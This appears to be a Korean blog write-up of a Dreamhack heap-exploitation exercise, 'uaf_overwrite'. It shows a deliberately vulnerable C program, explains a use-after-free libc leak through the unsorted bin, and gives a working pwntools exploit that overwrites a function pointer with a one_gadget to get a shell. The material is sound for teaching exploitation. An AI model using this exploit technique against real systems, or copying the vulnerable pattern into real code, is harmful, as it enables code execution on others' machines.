1. Use After Free (UAF)
- 해제된 메모리에 접근할 수 있는 취약점으로, 메모리에 남아있던 데이터를 유출하거나 사용할 수 있다.
- 참고 : 2022.08.20 - [Dreamhack/Lecture & Practice] - [Lecture] Use After Free
2. 실습 코드
// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}
3. 코드 분석
- 모든 보호 기법이 적용되어 있으며, FULL RELRO보호 기법으로 인해 GOT를 덮어쓰는 공격은 어렵다.
(이럴 경우, 라이브러리에 존재하는 훅 or 코드에서 사용하는 함수 포인터를 덮는 방법을 생각해볼 수 있다.)
- 실습 코드를 보면, 32byte크기인 Human과 Robot 구조체가 정의되어 있다.
- human_func와 robot_func함수를 보면, 구조체 변수를 위한 메모리 영역을 할당하고 초기화하지 않는다.
- 즉, Human과 Robot 구조체의 크기는 같으므로, 하나의 구조체를 해제하고 다른 구조체를 할당하게 되면
해제된 구조체의 값을 사용할 수 있게 된다. 이를 UAF라고 한다. - robot_func는 생성한 Robot변수의 fptr이 NULL이 아니면, 이를 호출해주므로 UAF취약점을 이용하여 변수에 원하는 값을 남겨놓으면 실행 흐름을 조작할 수 있다.
- custom_func함수를 사용하면, 0x100이상의 크기를 갖는 청크를 할당하고 해제할 수 있다.
또한, 메모리 영역을 초기화하지 않아서 UAF가 발생할 수 있다.
4. 공격원리
(1) 라이브러리가 매핑된 주소를 구한다.
- UAF취약점이 존재하므로, 해당 취약점을 이용하여 libc가 매핑된 주소를 구한다.
이를 위해, "unsorted bin"특징을 이용할 수 있다. - Unsorted bin에 연결된 청크를 재할당하고, fd와 bk의 값을 읽으면 libc가 매핑된 주소를 계산할 수 있다.
- Unsorted bin에 처음 연결되는 청크는 libc의 특정 주소와 이중 원형 연결 리스트를 형성하기 때문이다.
- Unsorted bin에 포함되는 heap chunk에는 fastbin과는 다르게 fd, bk에 main_arena 영역의 주소가 들어가는데, main_arena는 libc.so.6 라이브러리에 존재하는 구조체이기 때문에, libc_leak이 가능해진다.
- 참고 : 2022.09.14 - [System Hacking] - Malloc(2) - Bin (glibc의 ptmalloc2) )
- 실습 코드에 존재하는 custom_func함수는 0x100byte 이상의 크기를 갖는 청크를 할당하고, 할당된 청크들 중 원하는 청크를 해제할 수 있는 함수이다.
- 0x410 이하의 크기를 갖는 청크는 tcache에 먼저 삽입된다.
- 따라서, 0x410보다 큰 청크를 해제해서 unsorted bin에 연결하고, 이를 재할당하여 값을 읽으면 libc가 매핑된 주소를 계산할 수 있다.
- 주의 : unsorted bin에 포함되는 chunk와 TOP chunk는 병합 대상이므로, 맞닿으면 청크가 병합된다.
- 이를 피하려면, chunk 2개를 연속으로 할당하고, 처음 할당한 청크를 해제해야 한다.
(2) 함수 포인터를 one_gadget주소로 덮어쓴다.
- Human과 Robot 구조체가 같은 크기이므로, Human이 해제되고 Robot구조체를 할당하면 Robot은 Human이 사용했던 영역을 재사용하게 된다.
- Robot이 할당될 때, 사용할 메모리 영역을 초기화하지 않으므로 Human에 입력한 값은 그대로 남아있게 된다.
- human_func를 호출할 때, age에 one_gadget주소를 입력하고 이어서 robot_func를 호출하면 fptr의 위치에 남아있는 one_gadget을 호출시킬 수 있다.
- Human구조체의 age는 Robot 구조체의 fptr과 위치가 같기 때문이다.
5. 실습
5-1. 라이브러리 릭
(1) custom_func를 이용하여, 0x510 크기인 청크를 할당하고, 해제한 뒤에 다시 할당하여 libc의 주소를 구한다.
- 구해낸 주소와 libc가 매핑된 주소의 오프셋은 gdb로 쉽게 구할 수 있다.
- gdb를 통해, 오프셋 구하는 방법은 'info proc map' 또는 'vmmap'을 이용할 수 있다.
- 구한 main_arena주소 값에서 libc주소 값을 빼면 오프셋을 구할 수 있다. (main_arena - libc address = offset)
- 염두해야 할 부분
- uaf_overwrite문제의 libc library 주소 leak은 온전한 값이 전달되는 것이 아닌 user input이 일부 하위 바이트를 덮어쓴 상태에서 발생하기 때문에, 다른 일반적인 문제와 libc_base주소를 계산하기 위한 offset 구하는 방법이 다를 수 있다.
- uaf_overwrite문제의 libc library 주소 leak은 온전한 값이 전달되는 것이 아닌 user input이 일부 하위 바이트를 덮어쓴 상태에서 발생하기 때문에, 다른 일반적인 문제와 libc_base주소를 계산하기 위한 offset 구하는 방법이 다를 수 있다.
5-2. 함수 포인터 덮어쓰기
(1) human->age에 one_gadget의 주소를 입력하고 해제한 뒤, robot_func를 호출하면 쉘을 획득할 수 있다.
- human->age와 robot->fptr이 구조체 상에서 같은 위치에 있기 때문이다.
5-3. Exploit
from pwn import *
p = process('./uaf_overwrite')
def print_v(n, v): success(n + ": " + hex(v))
def human(weight, age):
p.sendlineafter(b"> ", "1")
p.sendlineafter(b": ", str(weight))
p.sendlineafter(b": ", str(age))
def robot(weight):
p.sendlineafter(b"> ", "2")
p.sendlineafter(b": ", str(weight))
def custom(size, data, idx):
p.sendlineafter(b"> ", "3")
p.sendlineafter(b": ", str(size))
p.sendafter(b": ", data)
p.sendlineafter(b": ", str(idx))
custom(0x500, b"AAAA", -1)
custom(0x500, b"AAAA", -1)
custom(0x500, b"AAAA", 0)
custom(0x500, b"B", -1)
offset = 0x3EBC42 # main_arena - libc addr = offset
# data 값이 "B"가 아니라 "C"가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 된다.
m_arena = u64(p.recvline()[:-1].ljust(8, b"\x00"))
libc_base = m_arena - offset
one_gadget = libc_base + 0x10a2fc
print_v("main_arena", m_arena)
print_v("lib base addr", libc_base)
print_v("one_gadget", one_gadget)
human(1, one_gadget)
robot(1)
p.interactive()
'Dreamhack > Lecture & Practice' 카테고리의 다른 글
[Lecture] Use After Free (0) | 2022.08.20 |
---|---|
[Practice] 64bit_FSB (Format String Bug) (0) | 2022.08.20 |
[Lecture] Format String Bug (FSB) (0) | 2022.08.10 |
[Lecture] OOB (Out of bounds) (0) | 2022.08.09 |
[Practice] Hook Overwrite (0) | 2022.07.14 |